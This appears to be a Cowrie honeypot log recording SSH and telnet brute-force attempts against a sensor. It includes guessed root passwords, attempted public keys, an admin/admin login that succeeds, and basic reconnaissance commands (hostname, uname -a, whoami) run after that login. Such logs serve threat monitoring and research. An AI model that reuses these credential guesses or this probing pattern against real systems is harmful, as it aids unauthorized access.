{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:ba:13:dd:c4:0c:44:13:dc:80:e1:4b:d2:9f:3c:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC76anUHQ4sldYfESI3sNri8M5T4FIQ4tRAuD4wIXmyU1/1DwU8B9jpUXiKxXnMl8DvhHJhuU49JuYfKDBSEAt6OoS5SqWYZSVrjcPAGLlVZkp9PH4yFApFhap+jAEe96QeTBYGNyBZas2AMa+Gk0TFrCU8rQZyWowwMvCiSuWv+YEqI6lz2bytVo9dkGfDg3EeDA7mEVDbJAl1uMQPnlbJQcIHhpFg2umdAETShS21Gu7ROtjTkXEv97Zzz9YG9kB04DqFWr4TaAbO9rDbhopNqbLq4XB8WZaDNLbM7kiqpEP0QfqxzPhRw1bD9XblmHN+jKb9Tfoy4RqRDa6DW/tX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:ba:13:dd:c4:0c:44:13:dc:80:e1:4b:d2:9f:3c:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.220992Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:ba:13:dd:c4:0c:44:13:dc:80:e1:4b:d2:9f:3c:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC76anUHQ4sldYfESI3sNri8M5T4FIQ4tRAuD4wIXmyU1/1DwU8B9jpUXiKxXnMl8DvhHJhuU49JuYfKDBSEAt6OoS5SqWYZSVrjcPAGLlVZkp9PH4yFApFhap+jAEe96QeTBYGNyBZas2AMa+Gk0TFrCU8rQZyWowwMvCiSuWv+YEqI6lz2bytVo9dkGfDg3EeDA7mEVDbJAl1uMQPnlbJQcIHhpFg2umdAETShS21Gu7ROtjTkXEv97Zzz9YG9kB04DqFWr4TaAbO9rDbhopNqbLq4XB8WZaDNLbM7kiqpEP0QfqxzPhRw1bD9XblmHN+jKb9Tfoy4RqRDa6DW/tX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.224533Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:e7:1b:14:ed:d8:27:5b:16:d8:16:8f:e6:1b:07:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4uyKRRdjxFWosiJlMSLinmLMBadXDir10bX9WzpwnmD3aLD8kJ/cKLjBcENcTW5qZDzA1GH4f2HLCRR9M86kUdgGWUn6yfh50CDUOagdcBUCjveIQ0J/I6fhzitnQs5bwjcIvFgPyeGGfpLxCNaFfic2khUzkYB/dWlnGek2CZQJkfaUBOdlOdpgCtSdgbw/727U+b4MOntoWoWhzVO5sA8SHG1dJJxRuvl4rqYB0RvfexeQjezxPF28r1vmbs3mRisGziZsR3UH5rpehCiWfD/k0FMB2hlqQIP8KCq7r/b1wRnMyd6f+TE0EVkGCqtRzbSuOo6uFU0Kh5HW9jq3Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:e7:1b:14:ed:d8:27:5b:16:d8:16:8f:e6:1b:07:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.377173Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:e7:1b:14:ed:d8:27:5b:16:d8:16:8f:e6:1b:07:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4uyKRRdjxFWosiJlMSLinmLMBadXDir10bX9WzpwnmD3aLD8kJ/cKLjBcENcTW5qZDzA1GH4f2HLCRR9M86kUdgGWUn6yfh50CDUOagdcBUCjveIQ0J/I6fhzitnQs5bwjcIvFgPyeGGfpLxCNaFfic2khUzkYB/dWlnGek2CZQJkfaUBOdlOdpgCtSdgbw/727U+b4MOntoWoWhzVO5sA8SHG1dJJxRuvl4rqYB0RvfexeQjezxPF28r1vmbs3mRisGziZsR3UH5rpehCiWfD/k0FMB2hlqQIP8KCq7r/b1wRnMyd6f+TE0EVkGCqtRzbSuOo6uFU0Kh5HW9jq3Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.380059Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:da:44:4f:3e:79:70:fb:25:e3:7a:90:38:dd:81:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcYXATdbR/V7MyIsNy/xcASwz4v6Bin0nXhknr+ymSDTPBzLkiT9N2KNSDnlBSdIClLtqfon2nmEItd+rgSJAM+sBgZwr6HsUSMDklL4miJ8vSK2jb771QI8i69wiV1zF9M7zlz9EDcy6KWhDRJk362Ur3/P0LUwXdEGDQrR94YGpIcOoE69jnCccSF2sza9YdTdp1eN+qxAL0+1cxqdl9JTK/8CfnGeAcxdhEsbCNS0BnLOd+VA+r4qz0A2DdLLHTix2UtK62ruiWo4Io7s6wJL1phTfmytrWwmhcjCbmL91yh7stp0Pjevwwl27zqxgY94QGCI5aVfxEa5GbWjMj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:da:44:4f:3e:79:70:fb:25:e3:7a:90:38:dd:81:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.512019Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:da:44:4f:3e:79:70:fb:25:e3:7a:90:38:dd:81:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcYXATdbR/V7MyIsNy/xcASwz4v6Bin0nXhknr+ymSDTPBzLkiT9N2KNSDnlBSdIClLtqfon2nmEItd+rgSJAM+sBgZwr6HsUSMDklL4miJ8vSK2jb771QI8i69wiV1zF9M7zlz9EDcy6KWhDRJk362Ur3/P0LUwXdEGDQrR94YGpIcOoE69jnCccSF2sza9YdTdp1eN+qxAL0+1cxqdl9JTK/8CfnGeAcxdhEsbCNS0BnLOd+VA+r4qz0A2DdLLHTix2UtK62ruiWo4Io7s6wJL1phTfmytrWwmhcjCbmL91yh7stp0Pjevwwl27zqxgY94QGCI5aVfxEa5GbWjMj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.515918Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:ae:7c:97:b2:99:1c:e4:f5:ab:ec:a1:c5:ed:e6:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv9GLkwMorns5vBIKJsvJjp5Zj/1iA5WrbEqFxX3AP0q4FpdSeYe98Mtk+aBLD9tN62yuKBFasDZv3x1XSn5zdGJ2iPqt9dg3knhT9VQZfeofkNVmBvrb0sfmIXisXdIQOR4WHsZoGw/iIpxJ1eVyAtNB9pWoM73+6QdlEHhYScCxZbRO+mjYIHUdUDfjVDkIAeJJ9AMBLobSI7+VKa/qnfLhWqLyRngmrr87NMXalx4rCnRz4co/T6+Ai46LsTVtvhTmvbOK5PV6WkOa9PTz7eKAq+murbEBbu844lprLuRz5M8rjpMPYQIxMURcqUWN5IVHJtCNmQ6fXkoNWOVP5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:ae:7c:97:b2:99:1c:e4:f5:ab:ec:a1:c5:ed:e6:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.658328Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:ae:7c:97:b2:99:1c:e4:f5:ab:ec:a1:c5:ed:e6:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv9GLkwMorns5vBIKJsvJjp5Zj/1iA5WrbEqFxX3AP0q4FpdSeYe98Mtk+aBLD9tN62yuKBFasDZv3x1XSn5zdGJ2iPqt9dg3knhT9VQZfeofkNVmBvrb0sfmIXisXdIQOR4WHsZoGw/iIpxJ1eVyAtNB9pWoM73+6QdlEHhYScCxZbRO+mjYIHUdUDfjVDkIAeJJ9AMBLobSI7+VKa/qnfLhWqLyRngmrr87NMXalx4rCnRz4co/T6+Ai46LsTVtvhTmvbOK5PV6WkOa9PTz7eKAq+murbEBbu844lprLuRz5M8rjpMPYQIxMURcqUWN5IVHJtCNmQ6fXkoNWOVP5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.666209Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:14:63:95:d0:1b:86:72:66:bc:83:17:a0:d8:14:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0xAkZPDSEd+bZ4cEfcJlUwvN0Rldup52uvxjbyudhjC8Ilp4NAowelGvffCEng1Rabl/zvccseSk26FA0oxCMpT1jwEj3eJP0ymC6kB318Uysw2oZxyFh2olAgeBiSpG9Mla2dj+xW+KQIRtqDrMfzu0FFAvr9HN6CYaWQdUdd0EOHm9VoZkM+LrRsB9ITA3dzYGEmxiYZBhoIuBKV9tPK+eEg2mli+xH+alNOQa7TzScnflCLFZU+im9TlRT9KONZiLydjKVxZd0NzyvrRFO0s82wzwktsIKVUiqU/AqL0SdZ77tsYOrFFAKJthgvZE/UfWVov0Ss5O1dqZQTtz4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:14:63:95:d0:1b:86:72:66:bc:83:17:a0:d8:14:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.884741Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:14:63:95:d0:1b:86:72:66:bc:83:17:a0:d8:14:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0xAkZPDSEd+bZ4cEfcJlUwvN0Rldup52uvxjbyudhjC8Ilp4NAowelGvffCEng1Rabl/zvccseSk26FA0oxCMpT1jwEj3eJP0ymC6kB318Uysw2oZxyFh2olAgeBiSpG9Mla2dj+xW+KQIRtqDrMfzu0FFAvr9HN6CYaWQdUdd0EOHm9VoZkM+LrRsB9ITA3dzYGEmxiYZBhoIuBKV9tPK+eEg2mli+xH+alNOQa7TzScnflCLFZU+im9TlRT9KONZiLydjKVxZd0NzyvrRFO0s82wzwktsIKVUiqU/AqL0SdZ77tsYOrFFAKJthgvZE/UfWVov0Ss5O1dqZQTtz4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.888695Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:19:28.983680Z","src_ip":"213.199.52.47","session":"4a8c206a9259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51006,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a047098f7f","protocol":"ssh","message":"New connection: 185.236.22.41:51006 (159.203.135.109:22) [session: f7a047098f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:18.364857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:18.389191Z","src_ip":"185.236.22.41","session":"f7a047098f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:18.502442Z","src_ip":"185.236.22.41","session":"f7a047098f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2009","message":"login attempt [root/artem2009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:18.909060Z","src_ip":"185.236.22.41","session":"f7a047098f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:20.140926Z","src_ip":"185.236.22.41","session":"f7a047098f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.16.167.128","src_port":37376,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d6051ddc0e","protocol":"telnet","message":"New connection: 34.16.167.128:37376 (10.17.0.5:23) [session: f5d6051ddc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:32.110141Z"}
{"eventid":"cowrie.session.closed","duration":3.815690040588379,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:35.925708Z","src_ip":"34.16.167.128","session":"f5d6051ddc0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.16.167.128","src_port":59482,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55bffbae44d","protocol":"telnet","message":"New connection: 34.16.167.128:59482 (10.17.0.5:23) [session: f55bffbae44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:35.993986Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:36.940481Z","src_ip":"34.16.167.128","session":"f55bffbae44d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.089404106140137,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:42.083290Z","src_ip":"34.16.167.128","session":"f55bffbae44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.16.167.128","src_port":59494,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6737f66def","protocol":"telnet","message":"New connection: 34.16.167.128:59494 (10.17.0.5:23) [session: 2f6737f66def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:42.149966Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"icatch99","message":"login attempt [root/icatch99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:44.015507Z","src_ip":"34.16.167.128","session":"2f6737f66def","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.2694549560546875,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:49.419293Z","src_ip":"34.16.167.128","session":"2f6737f66def","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.16.167.128","src_port":41174,"dst_ip":"10.17.0.5","dst_port":23,"session":"65463214bdae","protocol":"telnet","message":"New connection: 34.16.167.128:41174 (10.17.0.5:23) [session: 65463214bdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:49.491539Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:53.290787Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:53.343620Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"hostname","message":"CMD: hostname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:53.572217Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:53.875298Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:54.284456Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"pwd","message":"CMD: pwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:20:55.844721Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50296,"dst_ip":"10.17.0.5","dst_port":22,"session":"2896bbd93100","protocol":"ssh","message":"New connection: 194.113.233.25:50296 (10.17.0.5:22) [session: 2896bbd93100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:02.275195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:02.282167Z","src_ip":"194.113.233.25","session":"2896bbd93100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:02.379964Z","src_ip":"194.113.233.25","session":"2896bbd93100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5t6y7u8i","message":"login attempt [root/5t6y7u8i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:02.685650Z","src_ip":"194.113.233.25","session":"2896bbd93100","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c87bb7461e1113cebc175b252faac4aac8439c68933d09902369eb78801ecf99","size":574,"shasum":"c87bb7461e1113cebc175b252faac4aac8439c68933d09902369eb78801ecf99","duplicate":false,"duration":"9.3","message":"Closing TTY Log: var/lib/cowrie/tty/c87bb7461e1113cebc175b252faac4aac8439c68933d09902369eb78801ecf99 after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:02.691894Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.234086036682129,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:02.725547Z","src_ip":"34.16.167.128","session":"65463214bdae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:03.782651Z","src_ip":"194.113.233.25","session":"2896bbd93100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab92e52ee272","protocol":"telnet","message":"New connection: 69.4.83.194:46288 (159.203.135.109:23) [session: ab92e52ee272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:23.747171Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36840,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a2d45aadae3","protocol":"ssh","message":"New connection: 103.149.28.157:36840 (159.203.135.109:22) [session: 5a2d45aadae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:28.808808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:28.815157Z","src_ip":"103.149.28.157","session":"5a2d45aadae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:29.069642Z","src_ip":"103.149.28.157","session":"5a2d45aadae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051992","message":"login attempt [root/12051992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:29.838425Z","src_ip":"103.149.28.157","session":"5a2d45aadae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:31.096137Z","src_ip":"103.149.28.157","session":"5a2d45aadae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.91063117980957,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:21:57.657598Z","src_ip":"69.4.83.194","session":"ab92e52ee272","protocol":"telnet"}
